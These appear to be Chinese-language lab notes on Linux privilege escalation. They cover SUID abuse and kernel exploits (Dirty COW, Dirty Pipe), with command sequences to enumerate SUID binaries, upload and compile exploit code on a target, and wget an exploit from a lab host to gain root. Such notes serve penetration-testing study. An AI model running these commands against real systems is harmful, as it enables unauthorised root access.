0x00 linux常用的提权方式
脏牛漏洞
(CVE-2016-5195)
Dirty Pipe(CVE-2022-0847)
SUDO(CVE-2021-3156
)
Polkit(CVE-2021-4034)
使用到的项目推荐
https://github.com/liamg/traitor #综合类探针,带信息收集和漏洞探针 (小迪复现失败)
https://github.com/AlessandroZ/BeRoot #自动化提权
https://github.com/rebootuser/LinEnum #信息收集
https://github.com/mzet-/linux-exploit-suggester #信息收集
https://github.com/sleventyeleven/linuxprivchecker #漏洞探针
https://github.com/jondonas/linux-exploit-suggester-2 #漏洞探针
0x01 SUID提权
原理就是管理员在使用某些命令的时候赋予了root权限,而有些命令后面是可以加参数的,导致了权限的继承从而产生漏洞;常见的可以加参数进行利用的命令有下面的这几个
Nmap
Vim
find
Bash
More
Less
Nano
可利用的参考文档
https://pentestlab.blog/2017/09/25/suid-executables/
手工探测可以使用的suid提权
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
可以看到有个find
LinEnum信息收集项目
上传linenum.sh文件进行执行即可, 权限不够可以使用chmod +x 赋予执行权限;
利用方法
创建一个文件xxx,使用命令搜索时执行whoami;
touch xxx
find xxx -exec whoami\;
参考文档
https://www.cnblogs.com/gsh23/p/18109524
0x02 内核漏洞提权
cve-2017-16995
使用推荐项目提权
上传探针的文件
赋予执行权限
les.sh多一点,利用 exp地址
weget下载,如果不行就浏览器访问下载
下载对应的exp然后上传上去编译执行,执行命令就变成root
gcc 45010.c -o exp
脏牛
拿到shell权限就能使用
上传本地的/root目录下的les.sh到对方tmp目录下去,再启动shell交互,再进行赋予执行权限并执行
upload /root/les.sh /tmp/les.sh
shell
cd /tmp
chmod +x les.sh
./les.sh
发现扫到对应的脏牛漏洞和对应的exp地址
上传dcow.cpp到靶机后编译执行,直接修改root密码进行登录
upload /root/dcow.cpp /tmp/dcow.cpp
shell
cd /tmp
g++ -Wall -pedantic -o2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
./dcow
靶机复现参考
https://blog.csdn.net/weixin_68408599/article/details/132332072
脏管道 cve2022-0847
上传les.sh和BeRoot的linux目录进行信息收集和漏洞探针
然后下载exp和编译exp后执行
wget -c http://192.168.101.141:8000/dirtypipez.c
gcc -std=c99 dirtypipez.c -o dirtypipez
执行find找到的任意具有suid权限的即可
find / -perm -u=s -type f 2>/dev/null
./dirtypipez /usr/bin/su
./dirtypipez /usr/bin/man
参考复现文章
https://blog.csdn.net/three_1996/article/details/136883116